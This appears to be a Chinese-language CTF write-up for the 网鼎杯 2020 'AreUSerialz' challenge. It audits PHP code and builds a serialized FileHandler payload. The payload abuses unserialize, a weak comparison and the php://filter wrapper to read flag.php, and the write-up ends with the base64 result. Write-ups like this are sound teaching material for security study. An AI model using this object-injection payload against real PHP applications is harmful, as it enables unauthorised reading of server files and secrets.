0%

[网鼎杯 2020 青龙组]AreUSerialz

平台:https://buuoj.cn/

思路

代码审计题,先看传入的参数

1
2
3
4
5
6
7
8
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

必须要通过is_valid函数才能够反序列化,那我们再看is_valid函数

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

这里规定了字符串的每个字符的ASCII码范围都应该在32-125之间

我们现在去看反序列化,执行__destruct()函数

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

如果op赋值字符串2会被更改

再看process函数

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

$this->op == “2”是个弱类型比较,可以通过给op赋值数字2的方法绕过

再看read函数

1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

题目中包含了flag.php,因此我们可以使用php伪协议

构造payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler{
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
protected $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";s:12:"Hello World!";}

生成后发现一个问题,*的ascii码值不在32-125之间,更改一下属性为public

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

传入参数得到回显,base64解码即可得到flag

1
2
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7OTEzZWM1NTAtYzI3Yi00OTQ5LWE3ZWEtZmE5MmU4MjE3MDAwfSc7Cg==